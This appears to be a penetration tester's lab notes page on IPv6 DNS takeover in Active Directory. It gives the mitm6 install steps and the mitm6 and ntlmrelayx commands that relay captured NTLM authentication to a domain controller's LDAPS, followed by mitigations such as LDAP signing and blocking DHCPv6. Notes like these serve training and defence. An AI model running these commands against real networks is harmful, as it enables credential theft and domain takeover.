IPv6 Attacks
Overview
If both IPv4 and IPv6 are enabled and v4 is the main protocol, DNS for v6 is not configured
Attacker can impersonate IPv6 DNS server
Capture authentication requests to DC via LDAP or SMB
LDAP relay via NTLM
Exploitation
Set Up mitm6
git clone https://github.com/fox-it/mitm6 /opt/mitm6
cd /opt/mitm6
pip3 install -r requirements.txt
python3 setup.py installIPv6 DNS Takeover via mitm6
# Run mitm6
mitm6 -d domain.local
# Set up relay against DC
ntlmrelayx.py -6 -t ldaps://192.168.31.10 -wh fakepad.marvel.local -l lootmeMitigation
Block DHCPv6 traffic and incoming router advertisements in Windows Firewall via Group Policy
Disable WPAD if it's not used via Group Policy
Enable LDAP signing and LDAP channel binding
Add Administrative users to the
Protected Usersgroup or marking them as sensitive and cannot be delegated to prevent impersonation of that user via delegation
Last updated